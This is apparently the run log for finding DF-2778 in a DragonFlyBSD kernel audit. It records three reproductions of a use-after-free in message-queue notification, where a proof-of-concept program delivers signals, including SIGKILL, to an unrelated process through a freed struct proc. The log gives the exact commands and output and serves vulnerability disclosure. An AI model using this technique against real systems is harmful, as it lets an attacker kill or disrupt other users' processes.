โฌข DragonFlyBSD Kernel Audit
DF-2778 / run.log
โ† back to finding โ†“ download raw
DF-2778 run.log โ€” decisive runs (2026-09-01, guest pre-fix kernel)

=== Run 1: signo=10 (SIGUSR1), kill mode ===
$ cd /tmp/poc && ./uaf_notify 96 10
DF-2778 PoC: rounds=96 signo=10 pid=867
round 0: *** HIT: victim killed by alien sig 10 (UAF reproduced) ***
DF-2778 result: hits=1 rounds=0 -> REPRODUCED

=== Run 2: default handler mode (SIGUSR1 with handler) ===
$ cd /tmp/poc && ./uaf_notify 8
DF-2778 PoC: rounds=8 signo=30 pid=891
[VICTIM] *** ALIEN SIGUSR1 RECEIVED THROUGH FREED struct proc ***
round 0: *** HIT: victim got the alien signal (UAF reproduced) ***
DF-2778 result: hits=1 rounds=0 -> REPRODUCED
(BSD SIGUSR1 == 30; kernel dmesg: "pid 880 (uaf_notify), uid 1001: exited
on signal 10 (core dumped)" โ€” the victim's core dump.)

=== Run 3: SIGKILL variant (signo=9) โ€” cross-process SIGKILL injection ===
$ cd /tmp/poc && ./uaf_notify 4 9
DF-2778 PoC: rounds=4 signo=9 pid=894
round 0: *** HIT: victim killed by alien sig 9 (UAF reproduced) ***
DF-2778 result: hits=1 rounds=0 -> REPRODUCED

100% reproduction: every variant hit on round 0.  The innocent victim
process (freshly forked, merely sleeping, never called mq_* itself) was
signalled/killed through the freed struct proc of the exited registrant โ€”
the kernel wrote to and read from recycled heap memory believing it was the
registrant's live process (PHOLD/PRELE on p_lock, lwkt_gettoken on p_token,
SIGADDSET_ATOMIC on p_siglist, signal delivery to the occupying process).